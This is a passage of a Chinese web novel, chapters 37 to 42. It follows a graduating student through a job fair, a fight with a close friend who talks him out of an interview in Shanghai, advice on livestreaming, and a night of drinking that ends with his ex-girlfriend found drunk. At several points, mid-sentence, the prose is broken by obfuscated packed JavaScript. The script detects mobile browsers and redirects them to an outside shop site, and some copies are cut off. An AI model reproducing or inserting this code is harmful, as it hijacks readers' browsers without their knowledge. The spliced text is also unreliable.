高炜垂丧失神的那个瞬间,我发觉自己已经忘了什么是生活,忘了这座城市的阳光、空气以及这座城市里的自己,这些对我来说都是陌生的,没有她的日子里,我终究还是生了铁锈。 …… 校园春季招聘会这几天异常火热,趁着赶毕业论文的间隙。我领着虞寒艳到学校的风雨操场招聘会,物色着有没有合适的岗位,毕竟我们俩已经完全不抱考研调剂的想法。 “如果,我是说如果啊,你省考又没考上,不拿个offer傍身,做两手准备吗?” 风雨操场里面驻扎了上百家企业,每个企业的展位前都站满了求职毕业生,正和招聘人员介绍着自己的专业技能和实习经验。 看着眼前人满为患的求职场景,我询问着虞寒艳的打算,现在各行各业都在卷,省考也并没有那么容易上岸。 “你有钟意的岗位了?”她反问我。 “走一步看一步呗,我现在无欲无求,我选择躺平了,你们这些卷王就卷不死我!” “你要是没想好退路,可以去那几家地勘单位看看,老家本地的,好拿offer,直接给编的那种!” 虞寒艳走在我前面,穿过求职的人群,向我指着不远处正在招聘的几家单位。 我有些惊讶地看着她,以为她整天闷在图书馆,两耳不闻窗外事,没想到她对招聘这方面很了解。 虞寒艳轻皱着眉,轻描淡写道:“别这么看着我,我家老头子在里面工作了几十年,内部消息还是知道点的,你要是想进去混个稳定,让我家老头子打个招呼……” “看不出来,我们寒艳也是个深藏不露的关系户!那你大学里学这个专业不正好对口,女承父业?” 虞寒艳的母亲是中学教师,父亲也是体制里上了几十年班的老人,毕业回老家对她来说确实是个不错的选择。 相比之下,我的家庭情况则复杂许多。我家那位曾蹲过大狱,有案底,这对我的政审环节或多或少会有影响。因此,我没有进体制的打算,也没想着将自家的伤疤在她面前轻易揭开。 “我家老头也算是地勘方面的老法师了,受他一部分影响,我才报的这个专业,只是没想到,你填志愿时也会报这个,这算是走下坡路的夕阳产业了……” “那你打算应聘,接替你家老法师的活?” 虞寒艳笑了笑,“如果可以的话,我还是想考个公务员,公益二类的事业单位太累了,加班赶设计,画图就能折磨死我!” 她像是想到什么,问道:“你怎么说,有回老家的打算吗?” 回老家,这个想法曾经在我的脑海中闪过不止一次,但每次都被我否定了。我仿佛是个被故乡弄丢的孩子,几乎熬光了所有无色无形的瞬间,我不知道自己是否有勇气回到那个熟悉又陌生的地方,老家除了奶奶,似乎没有什么值得我留恋的。 我摇摇头:“你回家有父母在身旁,你知道的,我是单亲家庭,我的生命里只有奶奶……还有姐姐……我回家边生活,有什么意义呢?” 我渴望着远方,渴望着一个全新的开始,一个没有过去伤痛的地方。 虞寒艳听了我的话,低下头沉思着。 许久,只见她抬起头说道:“就不能……” 她的话哽在空气里,被我的一通电话声打断。 接起电话,顾嘉说她们的公司总部底下有一家房地产子公司正在我们学校招聘,听说待遇还不错,想让我去试试。 听着顾嘉的描述,我找到了目标招聘公司的展位,这是上海的一家房地产公司,主要从事房地产开发经营和各类工程建设项目。 我没带简历,公司招聘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14039927|148895||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人员指引我,填了一大堆表格,让我回去等面试的通知。 “还准备去上海?” 当我走完一套流程,身旁一直默不作声的虞寒艳眉头紧蹙,拧成了一团解不开的结,冷声问道。 “这家公司和我姐实习的公司同属一家总公司,我姐了解过了,建议我去试试,不能辜负了她的苦心吧……” 虞寒艳的眼神瞬间变得有些黯淡,紧紧地盯着我,肃然道:“那我的建议你怎么听不进去?我的苦心你就可以无所谓,可以随便辜负是吗?” “我不是这个意思,我……”我急切地想要解释,却被她言辞激动地打断。 “不用解释!”她的声音提高了几分,黯然道:“我在你那里一直就没什么分量,和其他人比起来,我的优先级肯定会排到后面!” “我在你那里的优先级呢?你不总喜欢开我的玩笑吗?我一点点小小的自尊你也一点不在 乎……” “我把你排第一个!” “什么?” “你在我心里,优先级一直是第一个!我为什么开你的玩笑?为什么总对你冷热不定?……你是别人的男朋友,面对你,我吃醋没有立场!撒娇没有立场!关心没有立场!不强硬、冷漠一点,你还想让我怎样?” 她的声音中带着一丝哽咽,泪水在眼眶打转,“你的自尊……那我的呢?我的自尊呢?你有在乎过吗?” 她的一字一句像一把沾血的刀刃,先是刺穿她的心脏,再直直地刺向我。 虞寒艳失望地凝视着我,她渴望在我这里得到一个答案,一个能抚平她伤口的答案。然而,我却只能沉默以对,不知该如何回应她的期待。 她突然笑了,眼角噙着泪水笑了,转身抽离出求职的人群,头也不回地离开了。 我追她出了风雨操场,似是感觉到我在后面追赶,她猛地停下脚步,头也不回地斥道:“滚!” 她撕裂的怒吼声将我定住,我的灵魂依旧在前方不停追赶着她,而肉体却驻足在原地。这一刻,我的灵魂与我之间的距离如此遥远,而我的存在却如此真实。 第38章 不能失去她 我坐在风雨操场路边草丛旁冷冰冰的长石板上,拼命地抽着烟,看着来来往往结队求职的毕业生们。 他们奔忙的身影在我跟前宽阔的场地上筑成了一座迷宫,而我被挤压在迷宫的一角。我一直告诫自己不要再为谁有所期待,只倾听自己内心的声音,而现在我迷失在迷宫这头,虞寒艳早已前往我看不见的另一侧。 她和相黎似乎是我摆脱不掉的两个人,她们共同构成了我虚度的四年光阴。 心里面空空的,可周围偏偏人山人海。 “怎么一个人坐在这里,没找到称心的职位?” 我抬头看向说话的年轻男人,他是上海那家房地产公司的招聘人员,大约三十来岁的年纪,身材挺拔,穿着一身笔挺的西装,很干练。 “哥,招聘结束了吗?” 他掏出一包金皖,给我丢了一支,说道:“出来抽支烟,呼吸一点新鲜空气,里面气氛太焦灼了!” 我赶忙起身为他点上烟,他吸了口烟,不经意地问道:“刚才我瞧见你和朋友起争执了,因为这个坐这里发呆?” “可能两个人有些分歧吧……” “女朋友?” 我摇摇头,自顾自地吸着烟。 他笑了笑,“不是女朋友,这么容易红温啊……我们几个看着她红着眼走的,你在后面追,和校园青春偶像剧一个套路!” 我看着手中快要抽完的烟,转移话题问道:“哥,看您抽的是金皖,您也是这里的人吗?” 他点点头,笑道:“说起来,我还是你学长呢……我对这块儿熟悉,华中区域的招聘都有我来负责。” “对了,你要想投我们公司,加我们的企业微信,把你的简历电子版发我一份,省得后面的工作麻烦!”他补充道,接着掏出手机,露出一个二维码。 加完微信过后,我开诚布公地说道:“不瞒您说,我大学里就是个混日子的,专业知识基本不会,进你们公司也是拖后腿的……今天是我姐姐打电话说你们公司正在招聘,我才抱着试一试的态度去看看……” “你还挺实诚,不怕我把你pass掉?” 他掐灭手里的烟头,继续说道:“老学长和你说句老实话,人事工作做了这么久,通过校招招到的大学生就没见过几个能力卓著的!你们是一张白纸!最大的缺点是这个,最大的优点也是这个……俗话说得好,百无一用是书生,用在你们身上正合适!” “总还会有那么几个优秀的……” “优秀的读研的读研,有钱的躺平的躺平,出国的出国,你们这些中间的人,日子最不好过!既然最终结果都是一样,为什么要忧虑呢?” “你不觉得虚度光阴是一种罪吗?” “为什么要有负罪感,我现在最后悔的就是学生时代玩没玩好,学也没学好,中庸才是最可怕的!现在要是时光倒流,我一定拼命地玩,然后上班时再当个社畜!现在不玩够,难道到时候加班时想着玩?” “哥,你这话说得我心里真舒服!” 他大笑着,凑近拍了拍我的肩膀,用过来人的口吻说道:“大学就是一座大型的游乐场,既然买了门票进来玩,为什么散场时还要为门票钱苦恼呢?你忽略了一个真相,其实很多事情根本就不需要有意义,吃喝玩乐不等于虚度光阴,埋头苦干也不一定就意义非凡!” …… 这两天我一手准备着面试的事情,另一边忙着手上的毕业论文,高炜却一直在我耳边叨逼叨,追着问我有没有打听到钟璇那边的情况。 我微信上和虞寒艳发了很多道歉的话,就差写一篇小作文了,却久久得不到回应,别说高炜拜托我的事,就连自己的一大堆烂摊子都处理不好。 以前惹得虞寒艳不开心,说几句好话,她起码还愿意骂我几句,现在她连骂我的欲望都没有,看来这次真是把她的心伤透了。 女人的心我似乎没有一次能看清楚,与我的分别,对她们而言,好像仅仅只是一个毫无预兆、随心而起的念头罢了。 相黎突然从我的世界告别,我没有过多挽留,我能感受到那只是或远或近,终会来临的一天,或许我们之间的感情本就脆弱,无法承受现实的风雨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14039928|148895||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 虞寒艳在我求职后,毫无预兆地向我突然发难,并且毫不保留地袒露了她的心声。那一刻,我动了挽留她的念头。 这并非是因为我如今分手了,急于重新开始一段新的感情。而是我真的不能失去她,失去这个默默陪伴我整整七年的朋友。尽管在这漫长的七年时光里,我们始终小心翼翼,从未跨越男女朋友的禁区。 …… 手机上联系不上她,我思来想去,干脆坐在女生寝室楼下的阶梯上,等她中午出门吃饭,见她一面。 中午没有见到她的人,谁曾想过了晚饭时间,始终也没见到她的半个身影,我意识到自己真是脑子发昏,她多半是去图书馆备考去了! 寝室楼下的女生来来往往,而我却是个极其突兀的存在。我感觉自己像是光着腚,被晾在众人审判的目光之下;认识我的,不认识我的,路过我身旁时都要用乐子人的目光审视我一遍,然后脑补出我的狗血爱情故事。 暮色西沉,女生楼的宿管阿姨注意到了我的存在,将我当成了追女生的痴情小男生,出门撵我走。 临走时,阿姨郑重其事地告诫我,不要想着晚上在楼下搞一些摆玫瑰花,点蜡烛求爱之类的幼稚行为!她说,这样做不仅没有意义,还会引人起哄,影响女寝秩序。 …… 我识趣地离开,在食堂恶补着今天错过的两顿饭,边吃边刷抖音看剧,饥饿过后能有一顿饱饭是多么幸福的一件事! 人就是这样,总觉得平常日子太无聊,可以轻视、无所谓。饥肠辘辘时的一个馒头,口渴难耐时的一瓶水,原以为平常的东西在触不可及的时刻,却显得弥足珍贵! 很多朝夕相处的人,总是在失去的时候,才知道她不可替代。 正吃着饭的时候,一个上海号码打电话过来。 “你好,是顾懿吗?” “你好,哪位?” “我是你的老学长黄冬,前两天咱俩还在一起抽过烟呢,这边通知你一下,明天上午十点面试,具体事宜等会儿发到你微信上!” …… 第39章 不许去面试 大学四年的蹉跎,总得有一份看得过眼的工作来收尾救赎。本想着以后靠直播为生,可一想到要我把所有的筹码押宝在前途未卜的网络直播上,我不放心!直播这条路就像是在波涛汹涌的海上航行,充满了太多的不确定性。每场直播都是在迷雾中摸索,不知道前方等待着的是璀璨的星光还是无尽的黑暗。 正因如此,我对这家房地产公司的面试格外重视,特意起了个大早,精心拾掇好自己的形象,想着先去食堂饱餐一顿,以最好的精神面貌去迎接这场至关重要的面试。 我在大学里吃早点的次数本就不多,因为晚上睡不着,早上起不来;现在没课了,生活的节奏一下子慢了下来,吃早点的次数更是寥寥无几,我算是食堂早餐摊的稀客,食堂没挣过我超过一百的早餐费。 站在包子摊位前,正纠结吃什么馅的包子时,虞寒艳的身影悄然出现在隔壁摊位,她正刷着饭卡,买了两块枣糕和一根玉米,我的目光不自觉地落在她的身上,可她像是完全没有发现我的存在,或者说是故意选择无视我。 身处两个相邻摊位,却像是置身于两个世界。我在南方的艳阳里大雪纷飞,她在北方的寒夜里四季如春。 我强作镇定,装作没有看见她,继续拖延着时间,等着她买好早点。待她拎着早点在餐位上坐下后,我果断地买了两个梅菜包,然后晃到她身边,装模作样地坐下,摆出一副偶遇的模样。 她戴着蓝牙耳机,满眼盯着手机,用一只手滑动屏幕,另一只手拖着玉米啃食,对桌对面的我视若无睹。 “寒艳啊寒艳,我是小人,不,我不是人……要不要给你写封检讨书,先拟一篇开题报告,再整一个中译英法德日韩版本?” 她沉浸在手机里,无动于衷,那根玉米棒在她的手中,渐渐被啃得干干净净,只剩下光秃秃的棒子。 为了验证她是否真的戴着耳机听不见我说话,我又说道:“你鼻子上蹭了两个玉米粒!” 果然,她左手手指迅速从手机侧边滑过,熄灭了手机屏幕,双眸聚焦观察着手机黑屏上的镜像。 “你无不无聊?!” 虞寒艳摘下耳机,顺势将她啃完的玉米棒砸向我,恶狠狠地瞪着我。 我咧着嘴笑:“不无聊啊,这不就聊起来了吗?” “你怎么好意思的?是不是让你滚啦!死皮赖脸的贱样,你觉得我会同情你,还是怎的?” 她的脸色乌云密布,阴沉得快要下出雨来。 “骂我吧!我实在想不到什么道歉方式,随你处置了,打我骂我,我都受着!” “你是抖?”虞寒艳一脸嫌弃,腾了个位置,远离我后,继续吃着早点。 我不依不饶地跟着她,“我从来没有忽视你的感受,你说的每一句话我都有认真地听,能不能不要总是站在感情的道德制高点上来批判我?我们认识七年了,我能不了解你吗?如你所说,我是相黎的男朋友,难道我不需要顾及自己的立场,当个渣男?一边哄着相黎,另一边享受着你的好?” 她吃完手中的一块枣糕,盯着桌上残留的另一块,企图用枣糕分散注意力。 我抢过她的枣糕,一口闷了下去,差点噎了个半死,急着将哽在嘴边的话说出来,我强忍着枣糕噎在喉咙的不适感,说道:“从小到大,孤身一人的感觉我比任何人都强烈,我找不到一个可以说话的人,没有顾嘉送我的那把吉他,我都不敢想象自己的人生会是多么潦草……后来遇见你,我觉得生活慢慢不再是那么枯燥,有人愿意静下心来,不厌其烦地听我杂乱无章的碎碎念,排遣着少年时的寂寞心事……” “等着……”虞寒艳忽地起身,快步前往窗口,不一会儿便刷回来一杯豆浆递给我,嘴里嘟囔着:“急着投胎?噎不死你!” 捧着她递来的豆浆,我结冰的心上开始融化出热泪来,顾不上公共场合应有的素质,我点上了一支烟,在这个宁静的早晨,在这个聚满了学生的餐厅里。 我自嘲道:“好像在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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我有些莫名其妙,在我看来,之前虞寒艳生气的关键压根就不是找工作这件事,而是她固执地认为,我总把她的一片好心当成了驴肝肺。 本以为说了这么多,她或许能对我多一些理解。这下倒好,一番发自肺腑的陈述,不仅没有冰释前嫌,反而使得她变本加厉。 “那我不管,反正你不许去,你执意要去的话,咱俩缘尽!” 霎时间,她又恢复了先前冷若冰霜的模样,端起架子,斩钉截铁地亮明了她的态度。 气头上的女人,脑回路简直难以理解,我去面试找工作,和辜负她的苦心有什么关联,这分明是两码事! “起码给我个理由吧?总要有个说法,你说是不是……” “没有理由!没有说法!” 拿出手机看了一眼时间,已经过了八点,面试迟到肯定会降低面试官的印象分。 我和她面对面坐着,四目相对,我们都想从对方的眼里得到想要的答案。 气氛显得有些焦灼,我无奈又点了一支烟,一方面想用烟来平静自己的心情,不至于被对面这个无理取闹的女人搅得心神不宁;另一方面,我要用在空气中不断循环的二手烟来“惩罚”她! 相顾无言,抽完一支烟,我开口道:“我答应了招聘的老学长,我不能做个失信的人……” “嗯!看得出来,你顾懿很守信!大学四年不起早吃早点,早八让人代签到,不是失信老师?” 我举起双手投降,“好了好了,我说不过你……” 我掏出烟盒,准备继续点上一支烟,虞寒艳猛地起身,抢走了我点烟的打火机,紧紧握在手里。 没办法,我拿出手机,拨通了学长黄冬的电话,满怀歉意地告诉他我不去面试了。 一通电话过后,我的灵魂像是被抽走了,燃起的希望被虞寒艳活生生浇了一盆冷水。 此刻,坐在嘈杂的餐厅里,我却像是失了聪,听不进任何声音。 “你满意了?”我面无表情,有些冷漠地看着她的眼睛,从她的眼里全然看不出一丝愧疚。 我伸出手,讨要我的打火机,对面的那个女人如同我的镜像,同样的冷漠,同样失了聪,重复着和我一样的动作,伸出了手,向我讨要着什么东西。 “打火机给我。” “烟给我!” 我沉着脸,把烟盒放在桌上,她也松开了手中紧握住的打火机,我抽出一支烟点上。没想到,她竟然也有样学样地抽出一支烟,笨拙地学着我的动作,试图点燃香烟,火苗在她手中摇曳不定,好一会儿才将烟点燃。 我被虞寒艳气得发笑。在学校的食堂里抽烟本就是一件极不文明的事情,我点烟时,已经有不少人投来异样的目光。压根不会抽烟的虞寒艳,此刻也加入了这个没素质的行为。瞬间,小小的空间里烟雾缭绕,在我们周围弥漫开来。 她被烟呛得咳嗽了几声,眼角泛泪,脸涨得通红,却依然倔强地拿着烟,不肯放下。 “虞寒艳,你哪根筋搭错了?!”我的情绪被她点燃,狠狠地瞪着她,怒道:“其他人会觉得我们两个都是神经病!大早上在食堂抽烟,你信不信,待会儿管理员就要过来撵我们走!” 她的眼睛被烟熏得红润,眼神却异常坚定,看着我凝声道:“顾懿,我只要你一个态度!光嘴皮子上说,我的话你都会听,可不管用,要用实际行动来证明!” 我长舒一口气,剑拔弩张的尴尬氛围终于平静下来,我轻轻弹了弹手里的烟灰,有些疲惫地问她:“我听我姐的话去找份养活自己的工作,到底碍着你什么事了?你吃我姐的醋?” 虞寒艳扔掉手里的烟,双手揉搓着眼睛,她又来回抚摸着额头,前额的刘海被她不安分的小手搓得有些错乱。 片刻过后,她停下手里的动作,脸一沉道:“我不想你去上海!” …… 一整个早上,我和虞寒艳就这么面对面坐着,最受煎熬的人是我,她一切的动机便是不想让我去上海,明明一句话就能说清的事,七转八拐地折腾我,让我去猜她的心思。 如果我真能把女人的心思看得如此透彻,也不至于活得这么拧巴。 “你直接说就好了,我自然会考虑的,绕这么多弯子折腾我,你开心了?” 虞寒艳哼了一声,冷笑道:“即便我说了,你也只是会考虑而已,考虑的结果不会改变,你还是忘不了相黎……大三一年,你都在为毕业以后怎么在上海站稳脚跟发愁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14039930|148895||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,人不像人,鬼不像鬼……那天,你接了电话,听说有去上海工作的机会,眼睛都在冒光,那一刻我就知道,你死了的心又复燃了,你对相黎还有执念……” “我自己都没这么觉得……” “你敢说不是!” 和女人说话,能感觉到一堵清晰可见的墙,能感受到哪些话语不能通过,不属于墙后的世界。一开始还有勇气,偏执,热情,要求自己说下去,也要求她来听。时间久了,就知道那些语言所代表的事物,在她们耳朵里权重为零。墙那边是什么?墙那边是空的,墙那边什么也没有。 男人说话在讲逻辑,而女 人强调的是情感上的通顺。 我感觉一早上费劲说的话,就像一篇严重跑题的作文,没有踩到她的点,自然得不了分。 我被虞寒艳撕扯得明明白白,上海是我心里面过不去的一道坎,我没有自信和相黎一起去上海,因为在那里我们不同阶级的差异会被无限放大。因此,我在研究生考试的考场上当了逃兵;也因此,我和相黎的感情出现了第一道嫌隙。 现在,相黎从我的世界离开,我失去了对上海的恐惧感,可能我过于积极地去参加面试,是想去上海证明给相黎看,也证明给过去那个懦弱的自己看,我顾懿并非想象中的那么无能! 潜意识里或许真有这层缘由在,但是我的自尊一直在回避,不让自己往这方面想,学业和爱情上都大写着失败,是我心里的一根刺。 当局者迷,旁观者清,虞寒艳是个感性的人,很轻易便窥探到了我内心的症结。相黎从我们的圈子消失后,她无论和我怎么拉扯,都没有了顾忌,肆意挥霍着我的耐性。 我强作欢笑,矢口否认道:“我去上海,和相黎没有半毛钱关系!” 虞寒艳笑了,摇头叹息,道:“顾懿,你不懂我,可我还不懂你心里在想什么吗?你只需要回答我一个问题……如果相黎回到你身边想复和,你同不同意?不要思考,直接回答!” 我沉默了,对相黎我已不再抱有任何期待,抽出烟盒中仅剩的一支烟,望着空烟盒,我点燃那支烟,猛吸一口,将自己对那段感情的无奈与不甘伴着那丝烟雾全吐了出来。 “不会。” “不,你会的……” 第41章 飞翔的猪 “她不会回来,毕业过后所有人都将各奔东西,还保留着不切实际的幻想做什么呢?后续大家都有各自的生活,我们之间的联系可能只停留在逢年过节的一句问候……至于我去不去上海,相黎、还是张黎、李黎对我来说都没有意义……” 虞寒艳神色一肃,听我说着释然的话语,她显然是不相信我已经释怀。 我自己信吗?不太清楚,潜意识指引着我相信。 “你还要去图书馆看书吧?赶紧去吧……” 我想为今早充满情绪性的谈话画上一个句号,坦然道:“上海我不去了,不是要用实际行动向你证明什么!寒艳,我只是路边一株在风雨里飘摇的花,非常感谢这么多年里,你愿意花时间照顾这朵不起眼的花……但我不是玫瑰,不是蔷薇,也不是郁金香,我就是田间的野花,理应独自面对风吹雨打,即使凋落成泥碾作尘……当有一天,你获得自己渴望的幸福时,倘若我依然盛开,我一定会毫不犹豫扯下自己的花瓣,为你祝福!” …… 没去面试,相当于又失去了一根救命稻草,我在宿舍待了一天,陪我一起落寞的还是高炜,他这几天和钟璇似乎有点闹情绪,整个人没什么精神。 下午三点的时候,他才稍微振作起精神,准备去校外的蛋糕店为钟璇订一个蛋糕,因为今天是钟璇的生日。 高炜离开寝室后,说大不大,说小不小的寝室里独剩我一人,我还是动起了做自媒体的念头,微信上向云舒讨教了很多直播行业的常识。 她说我要想吃这碗饭,就必须要有自己的特色,腰部以下的主播没有什么前途,尤其是腰部以下的才艺主播,网上最不缺的就是才艺主播,呈现出来的内容过于单一无疑是自掘坟墓。 特色是什么?在这个人人自媒体的时代,特色是别出心裁,去同质化的东西,选择合适的赛道至关重要。通俗来说,就是要有博人眼球的点,吸不到流量,吃不饱网络这碗饭。 云舒和我说了很多,对于我这个萍水相逢的朋友,她算是很上心。她又说,如果我只是闲暇之余想搞个副业,就没必要在意纠结自己的主打风格。 我问:“客观来说,你觉得我做自媒体有前途吗?我的侧重点应该放在什么地方?” 她思索很久,没有选择继续在微信上发消息,而是直接给我弹了个语音通话。 “顾懿,你决心要踏足自媒体行业了?” “没办法,工作不好找呀,现在都想从自媒体行业分一块蛋糕,我又没什么拿得出手的技能,那就让我做互联网风口上飞翔的猪吧!” “你的直播我看了,账号发的视频我也看过了,你的琴技非常厉害,接近职业水准,嗓音很独特,搭配你那半死不活的模样,唱民谣类歌曲再适合不过了!” “半死不活,就这么形容我啊?” “可不就是半死不活,你不会觉得自己是个阳光大男孩吧!民谣需要忧伤的帅哥,这是木吉他的特色,愤怒那是电吉他该做的事!我看过你几次直播,你把流行歌改成民谣唱法,很多人都爱听……但归根结底,只是比一般人条件好,一句话,还是没特色!” “怎么样才叫有特色?” “打个比方,你想做自媒体风口上的猪,你收拾好自己,去猪圈直播,在猪圈和猪一起录视频,形成帅哥与野兽的反差,就是特色!虽然话说得糙,但就是这么个理儿!” “听完大网红的话,瞬间醍醐灌顶,我再琢磨琢磨……谢谢你啦,愿意花费宝贵时间教一头‘猪’……” “谁叫你是我老家的男朋友呢,虽然说只有一晚上,那也是一段露水姻缘嘛!” 露水姻缘,这是什么奇怪的比喻,云舒的思维跳跃得很快,在某个程度上,我觉得她是一个自由的人,或者是爱好自由的人,一个女孩子背井离乡,独自在上海打拼,痛苦与机遇并存,不也是一种浪漫的自由主义吗? 要问我毕业想做什么,我想和云舒一样,在一个没有人认识我的地方开始一段全新的生活,将未来和过去彻底切割,再以自己为圆心,以世界为半径画圆,然后在这个圆里过着喜欢的生活。 即使这个圆里充满了对车子、房子、票子和女子的挣扎。 …… 七点多的时候,高炜冲进寝室,他的脸上抹满了奶油和蛋糕渣,去洗手间洗了个脸回来后,他握着我的手道:“懿哥,我真不是个男人!” “说出你的故事。” 我点上一支烟,准备听高炜说今晚和钟璇之间发生了什么。 “我刚才和阿璇去食堂切蛋糕,切蛋糕之前我鼓起勇气说出了这些日子以来的想法,我做好接受她审判的准备了。” “然后呢,她怎么说的?” 高炜问我要了一支烟,抽了一口,缓缓说道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14039931|148895||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“她什么也没说!在我说那些话的时候,她就在蛋糕上一个劲儿地插蜡烛,我说完也不见她回应,只一个人闭着眼默默地许愿……” “那你脸上是怎么回事?” “许完愿过后,她把蛋糕切成了四份,我们一人两份。她说,两块是切给当下怕美梦破碎,逃避困难的我们;另外两块切给当有一天我们成为真正的自己 ,足以面对和战胜困难的我们……” 高炜回忆着刚才的情景,嘴角开始微微抽搐,眼角湿润,说道:“我真不是人!她今晚丝毫没有提及分手,我却一个人打了退堂鼓,不思改变和进取,就想着逃避,我真不是个男人!” “早和你说过了,钟璇是个好女孩!话说回来,这么细腻的话从钟璇嘴里说出来,我真不敢想那个画面,不是她的风格!” “她把自己的两块蛋糕吃下去了,把我那块象征着逃避的蛋糕涂了我一脸!说是对我的惩罚,小惩大诫!” “这才对嘛!” “懿哥,陪我出去喝点,我请你!喝完今晚的诀别酒,我要和过去那个高炜告别,做一个为她顶天立地的男人!” …… 我们在常去的那家饭店,选了个临窗的位置,喝了个痛快,高炜想和过去告别,我又何尝不想。 坐在窗边,我保持着微醺的状态,吹着晚风,听高炜谈人生、谈爱情、谈理想,他的酒一杯接一杯,烟也是一支接一支,似乎坐在这个地方就有种归属感,不知道为什么,坐在大酒店吃饭,就总觉得很拘谨,不自在。 这种烟火气的酒局,才是属于我们生活的解药。 我看着面前喝完酒,嘴里滔滔不绝的高炜,又想起了相黎。我和她来过太多次这家小饭店,她也总是喝着酒,但是寡言少语。 不知道是不是我也喝了酒的缘故,高炜喝完酒,摇晃着脑袋,在我眼里竟出现了相黎的残影。 我甩了甩头,点上一支烟,深吸一口。这一刻我在想,喝酒后沉默不语和彻夜倾诉,究竟哪一种更难过。 沉思间,听到服务员们摇头叹息,在议论。 “小包那个女生又喝醉了,这个月第几回了?” “是啊,晚上一个人在外面喝酒,也没人照应,迟早吃大亏!” “出了门就不关我们的事,现在年轻人玩得都花,看那样子,私生活指不定多混乱呢!” 第42章 醉酒的她 我抽着烟,听着服务员对醉酒女生的指指点点,或许她也像我们一样,在这个纷扰的尘世间短暂迷了路,想借着酒精麻痹的作用换取一刻安宁。 还是那句话,如果烟酒能消愁的话,世界上为什么还会有那么多不开心的人呢? 借着酒意,我向高炜吐露道:“炜哥,从大一进寝室门第一天,我们就看对眼,做了四年兄弟,你看着我一步步堕落下来的,高中的时候,我也是个爱学习的好同志呢!你再看看我现在,快毕业了,一无所获!要是没有寒艳给我做小抄,我不知道要挂多少门课,恐怕毕业都是问题!” 高炜掐灭手里的烟,喝了半杯酒,摇头道:“高三的时候,盼望着上大学,以为大学是自由,当时拼命想逃离的地狱,没想到是天堂……” “所以,我他妈的决定毕业之后,凭心而活,不找工作了,做个自由职业者!什么专业必修课,选修课,实验课,统统去他妈的!” “自由职业者?自主创业?还是靠直播?” “自由职业只要自由!我喜欢危险的自由胜过安稳的奴隶!没钱的时候就去打工,有钱的时候就开摆!” 我喝着酒,幻想着以后无比随性的日子,潇洒到没有世俗的东西能束缚住我,可那种日子终究只能是幻想。 窗外的月光照进酒杯里,我竟分不清是月光还是头顶的白炽灯。杯里的酒,能装下天上的月亮吗?我仿佛是那个想在水中打捞月亮的傻猴子,垂涎着天上的明月,却永远触不可及,最后只能将所有的梦寄托于镜中花,水中月。 “你自由的前提基础是钱,没钱的时候才是常态,有钱的时候才稀有,对于我们这些普通人来说,打工才是常态,摆烂等中彩票头奖再说吧!再过几年就到谈婚论嫁的年纪,你是自由了,你老婆孩子能陪你一起自由吗?所以说,摆烂只是一时的,不自由才是人生的主旋律!” 话音刚落,高炜又提了一杯酒,我陪一杯后,尿意渐浓,点了一支烟,急切地找着洗手间。 …… 方便完之后,我在洗手间门口洗了一把脸,洗脸池的镜子反射着对门的小包厢,包厢房门半掩着,我余光偷瞟了一眼,房间里面听不出任何动静,桌上点的几道菜,也没怎么动,只有一个趴在桌上的女人,这应该就是服务员口中的醉酒女。 一个人这么不顾后果地猛喝,幸亏这是在一般的小饭店,换作是夜店之类的场所,讲不定要出什么事,酒后失身也并不稀奇。 擦干脸上残留的水渍,我从包厢门口路过,包厢里传出女人的呕吐声,我心里顿时响起一阵惊雷,因为这声音我再熟悉不过,是她! 她和我一起吃饭的时候,酒喝多吐过太多次,以至于我对她醉酒呕吐的声音产生了应激反应。 我抑制住疯狂跳动的心,推开房门,站在了她身后。 确实是她,那个我删除了一切联系方式的无情女人,相黎。 